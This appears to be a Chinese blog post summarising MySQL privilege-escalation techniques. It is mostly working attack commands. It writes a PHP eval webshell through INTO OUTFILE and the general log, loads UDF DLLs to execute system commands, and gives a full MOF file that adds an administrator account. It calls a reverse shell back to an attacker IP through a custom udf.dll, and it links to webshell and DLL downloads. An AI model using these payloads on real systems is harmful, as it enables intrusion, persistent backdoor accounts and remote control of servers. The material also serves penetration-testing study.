Mysql提权姿势总结

刺骨的言语ヽ痛彻心扉 2023-10-06 18:47 91阅读 0赞

#### 目录 ####

*   *  一、写入Webshell
     *   *  into outfile 写shell
         *  日志文件写shell
     *  二、UDF提权
     *   *  手工复现
         *  UDF.PHP
     *  三、MOF提权
     *  四、反弹端口提权

### 一、写入Webshell ###

#### into outfile 写shell ####

**前提条件：**  
1、知道网站物理路径  
2、高权限数据库用户  
3、load\_file() 开启 即 secure\_file\_priv 无限制  
4、网站路径有写入权限  
首先基础语法查询是否 secure\_file\_priv 没有限制  
`show global variables like '%secure_file_priv%';`  
![在这里插入图片描述][a1d374a25a3c443ea291b42e113dee62.png]

<table> 
 <thead> 
  <tr> 
   <th>value</th> 
   <th>说明</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>NULL</td> 
   <td>不允许导入或导出</td> 
  </tr> 
  <tr> 
   <td>/var</td> 
   <td>只允许在/var目录导入导出</td> 
  </tr> 
  <tr> 
   <td>空</td> 
   <td>不限制目录</td> 
  </tr> 
 </tbody> 
</table>

在 MySQL 5.5 之前 secure\_file\_priv 默认是空，这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure\_file\_priv 默认是 NULL，这个情况下不可以写文件

如果满足上述所有条件的话，那么可以尝试使用下面的 SQL 语句来直接写 shell：  
`select '<?php @eval($_POST[cmd]); ?>' into outfile 'C:\\soft\\WWW\\empirecms\\shell.php';`  
![在这里插入图片描述][a1cae1f11069497eb3c333edf2de90c6.png]

查看目标路径下，已写入shell.php文件  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70]  
上菜刀连接

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 1]

#### 日志文件写shell ####

**前提条件：**  
1、Web 文件夹宽松权限可以写入  
2、Windows 系统下  
3、高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件，可以通过修改日志的全局变量来 getshell  
查看日志目录  
`SHOW VARIABLES LIKE 'general%';`  
![在这里插入图片描述][593571c28a0a41c98625be54dd7a6e9d.png]  
general\_log 默认关闭，开启它可以记录用户输入的每条命令，会把其保存在对应的日志文件中。  
可以尝试自定义日志文件，并向日志文件里面写入内容的话，那么就可以成功 getshell：

更改日志文件位置

set global general_log = "ON";
    set global general_log_file='C:\\soft\\WWW\\empirecms\\log.php';

查看当前日志配置

![在这里插入图片描述][1ed20fa2e90448c59cd6aeddf774f000.png]

目标目录下查看，写入了log.php文件  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 2]  
写入shell  
`select '<?php @eval($_POST[cmd]); ?>'`  
![在这里插入图片描述][f80a5c601ca54bef88c8c0d0cc7abc60.png]  
上菜刀，连接  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 3]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 4]

### 二、UDF提权 ###

#### 手工复现 ####

自定义函数，是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能，其添加的新函数都可以在SQL语句中调用，就像调用本机函数 version() 等方便。

**动态链接库**  
如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\\plugin 文件夹下文件夹下才能创建自定义函数。

那么动态链接库文件去哪里找呢？实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

**sqlmap的UDF动态链接库文件位置**  
`sqlmap根目录/data/udf/mysql`  
![在这里插入图片描述][8cdd3abb3ad84566a03518b10e79728c.png]

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过，不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用，cloak.py 的位置为：`sqlmap根目录/extra/cloak/cloak.py` ，  
解码方法如下:  
解码32位的windows动态链接库：  
`python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll`  
其他linux和windows动态链接库解码类似

或者直接使用metasploit自带的动态链接库，无需解码  
**Metasploit的UDF动态链接库文件位置**  
![在这里插入图片描述][757870a3ebb74d2d93f793e41ef10f36.png]  
接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下，这个目录改如何去寻找呢？可以使用如下的 SQL 语句来查询：  
`show variables like '%plugin%'`  
![在这里插入图片描述][decb0b1203864a59977bdaff3f36d18b.png]

**写入动态链接库**

当 secure\_file\_priv 无限制的时候，我们可以手工写文件到 plugin 目录下的

select load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll')  into dumpfile 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';

![在这里插入图片描述][ea4e36bd369942e3b4a1cf8c9424085f.png]c

**创建自定义函数并调用命令**

创建自定义函数  
`CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';`  
![在这里插入图片描述][40ce0d2a055e4001b797cd7afcc292ae.png]  
查看是否新增了sys\_eval

![在这里插入图片描述][8ded433f4bfb43ab8f5ee651cf2138f5.png]  
接着就可以通过创建的这个函数来执行系统命令了：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 5]  
删除自定义函数  
`drop function sys_eval;`

#### UDF.PHP ####

如果MYsql在内网情况下，无法直连Mysql或者Mysql不允许外连，这个时候，可以使用一些网页脚本，如udf.php。  
链接: [udf.php][].  
简单好用，一键dump udf 。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 6]

### 三、MOF提权 ###

**mof提权原理**  
关于 mof 提权的原理其实很简单，就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件，每分钟都会在一个特定的时间去执行一次的特性，来写入我们的cmd命令使其被带入执行。

**严苛的前提条件：**  
1.windows 03及以下版本  
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录  
3.secure-file-priv参数不为null

**提权过程：**  
MOF文件每五秒就会执行，而且是系统权限，我们通过mysql使用load\_file 将文件写入/wbme/mof，然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本，我们可以通过控制这段vbs脚本的内容让系统执行命令，进行提权。

利用代码如下（test.mof）：

#pragma namespace("\\\\.\\root\\subscription")
    instance of __EventFilter as $EventFilter
    {
        
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
        
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
    };
    instance of __FilterToConsumerBinding
    {
        
    Consumer = $Consumer;
    Filter = $EventFilter;
    };

**MOF文件利用:**

将上面的脚本上传到有读写权限的目录下：

这里我上传到了C:\\soft\\，我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下  
`select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"`  
验证提权：  
当我们成功把mof导出时，mof就会直接被执行，且5秒创建一次用户。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 7]  
**关于MOF提权弊端**  
我们提权成功后，就算被删号，mof也会在五秒内将原账号重建，那么这给我们退出测试造成了很大的困扰，所以谨慎使用。那么我们如何删掉我们的入侵账号呢？

cmd 下运行下面语句:

#停止winmgmt服务
    net stop winmgmt
    
    #删除 Repository 文件夹
    rmdir /s /q C:\Windows\system32\wbem\Repository\
    
    # 手动删除 mof 文件
    del c:/windows/system32/wbem/mof/nullevt.mof /F /S
    
    # 删除创建的用户
    net user hpdoger /delete
    
    #重启服务
    net start winmgmt

### 四、反弹端口提权 ###

与udf提权方式一样，只是这里的动态链接库被定制过的，功能更多更实用一些：

cmdshell        执行cmd;<br>
    downloader     下载者,到网上下载指定文件并保存到指定目录;<br>
    open3389       通用开3389终端服务,可指定端口(不改端口无需重启);<br>
    backshell      反弹Shell;<br>
    ProcessView    枚举系统进程;<br>
    KillProcess    终止指定进程;<br>
    regread       读注册表;<br>
    regwrite      写注册表;<br>
    shut         关机,注销,重启;<br>
    about        说明与帮助函数;<br>

该动态链接库下载地址: [udf.dll][].  
下面用这个udf.dll来反弹shell  
首页在攻击机192.168.8.14上开启nc监听  
![在这里插入图片描述][d76979bcf0d14593b695f17c2eeedb16.png]  
然后目标机器上导入 dll 动态链接库，然后创建自定义函数：  
`CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';`  
![在这里插入图片描述][84a2a4d34eeb4e99888fdd4339bc9a1d.png]  
执行反弹shell  
`select backshell("192.168.8.14",2333);`  
![在这里插入图片描述][278546bb03cb457ebb0361ee87e1a4e6.png]  
攻击机上查看已建立连接。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 8]

[a1d374a25a3c443ea291b42e113dee62.png]: https://img-blog.csdnimg.cn/a1d374a25a3c443ea291b42e113dee62.png
[a1cae1f11069497eb3c333edf2de90c6.png]: https://img-blog.csdnimg.cn/a1cae1f11069497eb3c333edf2de90c6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/ee902e2611aa4f75a145a2edf6d69f70.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/97ca09cffdf34ae08919e42c6181497d.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[593571c28a0a41c98625be54dd7a6e9d.png]: https://img-blog.csdnimg.cn/593571c28a0a41c98625be54dd7a6e9d.png
[1ed20fa2e90448c59cd6aeddf774f000.png]: https://img-blog.csdnimg.cn/1ed20fa2e90448c59cd6aeddf774f000.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/2e083fe5a8a3495a83ef4c3018abea65.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[f80a5c601ca54bef88c8c0d0cc7abc60.png]: https://img-blog.csdnimg.cn/f80a5c601ca54bef88c8c0d0cc7abc60.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/86ed4447b8e44d3b84dc29da996b934d.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/2f69417acc954c899706cc0bdf4bf81b.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[8cdd3abb3ad84566a03518b10e79728c.png]: https://img-blog.csdnimg.cn/8cdd3abb3ad84566a03518b10e79728c.png
[757870a3ebb74d2d93f793e41ef10f36.png]: https://img-blog.csdnimg.cn/757870a3ebb74d2d93f793e41ef10f36.png
[decb0b1203864a59977bdaff3f36d18b.png]: https://img-blog.csdnimg.cn/decb0b1203864a59977bdaff3f36d18b.png
[ea4e36bd369942e3b4a1cf8c9424085f.png]: https://img-blog.csdnimg.cn/ea4e36bd369942e3b4a1cf8c9424085f.png
[40ce0d2a055e4001b797cd7afcc292ae.png]: https://img-blog.csdnimg.cn/40ce0d2a055e4001b797cd7afcc292ae.png
[8ded433f4bfb43ab8f5ee651cf2138f5.png]: https://img-blog.csdnimg.cn/8ded433f4bfb43ab8f5ee651cf2138f5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/269025f1c91c4af184728b1c9c6fbd8b.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[udf.php]: https://github.com/echohun/tools/tree/master/%E5%A4%A7%E9%A9%AC
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 6]: https://img-blog.csdnimg.cn/2789a269d6e649d6ba432d1badefcc0f.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 7]: https://img-blog.csdnimg.cn/378c3a56c21e43ccbb1163073cb9b194.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[udf.dll]: https://download.csdn.net/download/guo15890025019/20679291
[d76979bcf0d14593b695f17c2eeedb16.png]: https://img-blog.csdnimg.cn/d76979bcf0d14593b695f17c2eeedb16.png
[84a2a4d34eeb4e99888fdd4339bc9a1d.png]: https://img-blog.csdnimg.cn/84a2a4d34eeb4e99888fdd4339bc9a1d.png
[278546bb03cb457ebb0361ee87e1a4e6.png]: https://img-blog.csdnimg.cn/278546bb03cb457ebb0361ee87e1a4e6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 8]: https://img-blog.csdnimg.cn/818f7492c9954561b4e3a5f71069b928.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70